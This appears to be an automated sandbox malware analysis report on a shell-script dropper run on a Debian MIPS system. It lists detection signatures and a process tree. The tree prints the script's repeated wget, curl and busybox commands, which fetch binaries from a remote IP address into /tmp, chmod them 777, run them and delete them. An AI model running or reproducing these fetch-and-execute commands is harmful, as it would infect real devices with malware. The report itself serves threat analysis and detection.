aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6

Analysis

max time kernel
78s
max time network
80s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18/10/2024, 02:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
Size

10KB
MD5

5df47113727a7b75e9023a09ffc504f2
SHA1

fda1c0a9a5ae07a024ec2e0297ce177c6ac5ad6f
SHA256

aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6
SHA512

858e3b26bc40be548a382d6c9a350b657cab7aedf61fcd04d28c302a0d31d1afb3b1ca6188461cf8051ab9620206bd174c64ec7d538ad532e36734f5088512ce
SSDEEP

192:eWYAVCOCC4urk0c75B4rWYAVCOs5B4STV:edCrrk0c75B4f5B4STV

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	chmod
752	chmod
884	chmod
920	chmod
878	chmod
890	chmod
908	chmod
938	chmod
980	chmod
746	chmod
773	chmod
956	chmod
968	chmod
926	chmod
950	chmod
962	chmod
809	chmod
851	chmod
866	chmod
902	chmod
914	chmod
974	chmod
815	chmod
860	chmod
872	chmod
896	chmod
932	chmod
944	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	curl
File opened for modification	/tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe	curl
File opened for modification	/tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ	curl
File opened for modification	/tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O	curl
File opened for modification	/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	curl
File opened for modification	/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	curl
File opened for modification	/tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe	curl
File opened for modification	/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	curl
File opened for modification	/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	curl
File opened for modification	/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	curl
File opened for modification	/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	curl
File opened for modification	/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	curl
File opened for modification	/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	curl
File opened for modification	/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	curl
File opened for modification	/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	curl
File opened for modification	/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	curl
File opened for modification	/tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O	curl
File opened for modification	/tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ	curl
File opened for modification	/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	curl
File opened for modification	/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	curl
File opened for modification	/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	curl
File opened for modification	/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	curl
File opened for modification	/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	curl
File opened for modification	/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	curl
File opened for modification	/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	curl
File opened for modification	/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	curl
File opened for modification	/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	curl
File opened for modification	/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	curl

/tmp/aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
/tmp/aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
1⤵
PID:713
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:718
- /usr/bin/wget
  wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:738
- /bin/chmod
  chmod 777 wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  ./wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:745
- /bin/chmod
  chmod 777 yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  ./yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:748
- /usr/bin/wget
  wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:751
- /bin/chmod
  chmod 777 v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  ./v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:754
- /usr/bin/wget
  wget http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:768
- /bin/chmod
  chmod 777 JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  ./JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:778
- /usr/bin/wget
  wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:808
- /bin/chmod
  chmod 777 ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  ./ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:811
- /usr/bin/wget
  wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:814
- /bin/chmod
  chmod 777 OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  ./OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:840
- /bin/chmod
  chmod 777 dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  ./dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:853
- /usr/bin/wget
  wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:859
- /bin/chmod
  chmod 777 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  ./4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:865
- /bin/chmod
  chmod 777 M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  ./M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:871
- /bin/chmod
  chmod 777 UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  ./UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:877
- /bin/chmod
  chmod 777 NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  ./NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:883
- /bin/chmod
  chmod 777 oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  ./oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:889
- /bin/chmod
  chmod 777 NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  ./NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:895
- /bin/chmod
  chmod 777 uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  ./uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:901
- /bin/chmod
  chmod 777 M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  ./M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:907
- /bin/chmod
  chmod 777 OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  ./OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:913
- /bin/chmod
  chmod 777 dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  ./dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:919
- /bin/chmod
  chmod 777 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  ./4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:925
- /bin/chmod
  chmod 777 uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  ./uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:931
- /bin/chmod
  chmod 777 UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  ./UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:937
- /bin/chmod
  chmod 777 NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  ./NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:943
- /bin/chmod
  chmod 777 oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  ./oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:949
- /bin/chmod
  chmod 777 NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  ./NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:955
- /bin/chmod
  chmod 777 v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  ./v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:958
- /usr/bin/wget
  wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
